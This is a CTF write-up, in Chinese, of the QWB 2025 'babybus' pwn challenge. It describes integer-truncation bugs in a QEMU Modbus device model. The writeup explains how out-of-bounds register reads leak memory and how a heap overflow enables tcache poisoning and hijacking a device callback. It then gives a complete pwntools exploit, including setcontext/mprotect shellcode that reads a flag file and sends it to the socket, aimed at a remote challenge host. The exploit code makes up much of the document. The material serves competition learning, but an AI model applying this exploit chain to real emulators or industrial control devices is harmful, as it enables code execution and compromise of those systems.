[QWB 2025] Pwn - babybus

2nd Blood
题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上,并且关闭了其它所有设备,所以本质上是直接对这个设备模型的漏洞利用,只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复,LLM 把了解一个未知协议运作的门槛降低了好几个数量级。
modbus 协议报文
- 读寄存器
# RTU Function 0x03: Read Holding Registers
Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]- 写寄存器
# RTU Function 0x10: Write Multiple Registers
Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes分析
设备的 realize 函数如下:

其中 mbusTransmitDataHandler 回调函数是主要关注对象,它调用了 mbusPorcessBuf 进行具体的报文处理:

mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下:



审计 mbusProcessBuf 逻辑主要发现三个漏洞点:
- 在 mbus 的读寄存器函数中,
qty+start被强制转换为uint16导致越界; - 在 mbus 的读寄存器函数中,
malloc((unsigned int8)(2*qty)+5)把uint16强制下转换到uint8,可能导致实际申请的空间比读写空间小,发生堆上溢出写; - 类似的,在 mbus 的写寄存器函数中,
qty+start被强制转换为uint16导致越界;
利用
- 因此,利用 mbus 协议读寄存器产生的堆越界读能力,泄露
&obj->regs[0]开始的0x10000字节内存,能够在特定 offset 上得到 libc,ELF,heap 地址; - 利用
malloc调用机会和越界写能力,攻击 tcache,布置0xa0,0xb0,0xc0大小三个连续堆块的size和next,可以构造任意malloc原语。但是任意malloc紧接着一个free,所以任意malloc的目标地址必须符合合法堆块size检查; - 然后劫持通信使用的 obj(设备对象)堆块。在
0xa0偏移开始有三个在设备 realize 时就注册好的回调函数指针,劫持 0xb0 偏移的指针,可以发现调用该函数指针时,rdi 为0xc0偏移处的 8 字节。由于 QEMU 运行环境的system带有cloexecFLAG(启动子程序时关闭已有 fd),所以重定向不太能用,而且远程尝试反弹 shell 不出网; - 最后通过 strace 发现读写网络 I/O 的 fd 为 10,于是干脆用
setcontext走mprotect执行 shellcode 实现open("flag", 0)=>sendfile(out_fd=10, ...)效果,在远程环境下试了几次即可拿到flag;
EXP
完整 EXP:
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# p = remote("127.0.0.1", 1503)
# p = remote("127.0.0.1", 1502)
p=remote("8.147.132.101",30721)
# crc16
def crc16(data: bytes):
crc = 0xFFFF
for b in data:
crc ^= b
for _ in range(8):
if (crc & 0x0001) != 0:
crc >>= 1
crc ^= 0xA001
else:
crc >>= 1
return crc
# RTU Function 0x03: Read Holding Registers
def read_reg(addr: int, start: int=0, qty: int=1):
# Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
# Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
packet = b""
packet += p8(addr) # addr
packet += p8(0x03) # function code
packet += p16(start, endianness="big") # start address
packet += p16(qty, endianness="big") # quantity
packet += p16(crc16(packet)) # CRC
#return packet
p.send(packet)
# RTU Function 0x10: Write Multiple Registers
def write_reg(addr: int, start: int=0, qty: int=-1, _bytes: int=-1, values: bytes=b""):
# Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
# Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes
packet = b""
packet += p8(addr) # addr
packet += p8(0x10) # function code
packet += p16(start, endianness="big") # start address
if qty == -1:
qty = len(values) // 2
packet += p16(qty, endianness="big") # quantity
if _bytes == -1:
_bytes = len(values)
packet += p8(_bytes) # byte count
packet += values # values
packet += p16(crc16(packet)) # CRC
#return packet
p.send(packet)
# write
## max value size 250 bytes
#bytes_to_write = b"<"+b"A"*(512-2)+b">"
#for i in range(0, len(bytes_to_write), 2):
# chunk = bytes([bytes_to_write[i+1], bytes_to_write[i]])
# print(f"start: {i//2}, chunk: {chunk}")
# write_reg(1, start=i//2, qty=1, values=chunk)
# p.recv()
read_reg(1, start=1, qty=0xffff)
# ELF 0x37c
# HEAP 0x32c
def big_u16_to_little_u16(b: bytes) -> bytes:
res = b""
for i in range(0, len(b), 2):
res += bytes([b[i+1], b[i]])
return res
def leak_int64(data: bytes, offset: int=0) -> int:
result = 0
print("---------")
for i in range(0, 8, 2):
part = data[offset + i: offset + i +2]
print("->>",part)
result = (u16(part, endianness="big") << (i//2*16)) | result
return result
leak_data = p.recv(0x1000)[3:]
elf_leak = leak_int64(leak_data, 0x37c)
heap_leak = leak_int64(leak_data, 0x32c)
libc_leak = leak_int64(leak_data, 0xfac)
log.success(f"elf_leak: {hex(elf_leak)}")
log.success(f"heap_leak: {hex(heap_leak)}")
log.success(f"libc_leak: {hex(libc_leak)}")
elf_base = elf_leak - 0x9ef3e9
heap_base = heap_leak - 0x718f0
libc_base = libc_leak - 0x203b20
log.success("==============================")
log.success(f"elf_base: {hex(elf_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"libc_base: {hex(libc_base)}")
read_reg(1,0,0x48)
read_reg(1,0,0x50)
read_reg(1,0,0x58)
chunka_addr=heap_base+0x2d8570 # a0
chunkb_addr=heap_base+0x2d8610 # b0
chunkc_addr=heap_base+0x2d86c0 # c0
offab=(0xa0-0x10+8-3)//2
offac=(0xa0-0x10+0xb0+8-3)//2
offbc=(0xa0-0x10+8-3)//2
write_reg(1,offab,values=b"\0\xf1")
write_reg(1,offac,values=b"\0\xf1")
read_reg(1,0,0x48+0x80)
read_reg(1,0,0x58)
read_reg(1,0,0x50)
# 48:a0 50:b0 58:c0 60:d0
# 68:e0 70:f0
# now chunkb and chunkc free in tcache f0
def encaddr(addr):
secret=chunkb_addr>>12^addr
return secret
target=chunka_addr+0x13
setc=0x4a99d+libc_base
#0x00000000000986f5 : mov rdx, qword ptr [rdi + 8] ; mov rax, qword ptr [rdi] ; mov rdi, rdx ; jmp rax
magic=0x00000000000986f5+libc_base
newstack=chunkb_addr+0x13
page=chunka_addr&(~0xfff)
shcbuf=chunkb_addr+0x13
shctxt='''
lea rdi,qword ptr [rip+flagstr]
mov ax,2
xor esi,esi
syscall
push rax
pop rsi
mov edi,10
xor edx,edx
mov cx,0x100
mov ax,40
syscall
flagstr:
.ascii "flag\\0\\0"
'''
context.arch="amd64"
shc=asm(shctxt)
open_libc=0x11b150+libc_base
sdfl_libc=0x11bbb0+libc_base
mprot_libc=0x125c40+libc_base
buffer=p64(setc)+p64(target-0x58)+p64(page)+p64(0x1000)+p64(7)+p64(7)+p64(7)+p64(7)+p64(7)+p64(target+0x58)+p64(mprot_libc)+p64(shcbuf)
def arb_malloc(addr):
pld=buffer.ljust(0x80,b'\0')
write_reg(1,0x8,values=pld)
pld=b'\0'+p64(0xb1)+p64(encaddr(addr))+b'\0'
write_reg(1,offab,values=pld)
read_reg(1,0,0x48+0x80)
pld=b'\0'+p64(0xf1)
write_reg(1,offbc,values=pld)
write_reg(1,0x8,values=shc)
read_reg(1,0,0x70)
# now chunkb in tcache b1
# tcache f1 hijacked
obj_addr=heap_base+0x84750
arb_malloc(obj_addr)
ptr1=0x40f6b6+elf_base
ptr2=0x40f5bb+elf_base
syst_addr=libc_base+0x58750
log.success("system at"+hex(syst_addr))
pld=b"\0"*(0xa0-0x10)
pld+=p64(ptr1)+p64(magic)+p64(magic)
pld+=b'aaaaaaaa'+p64(target)
write_reg(1,(0x10-3)//2,values=b'\0'+pld+b'\0')
read_reg(1,0,0x70)
pause()
p.recvuntil(b'aaaaaaaa')
p.interactive()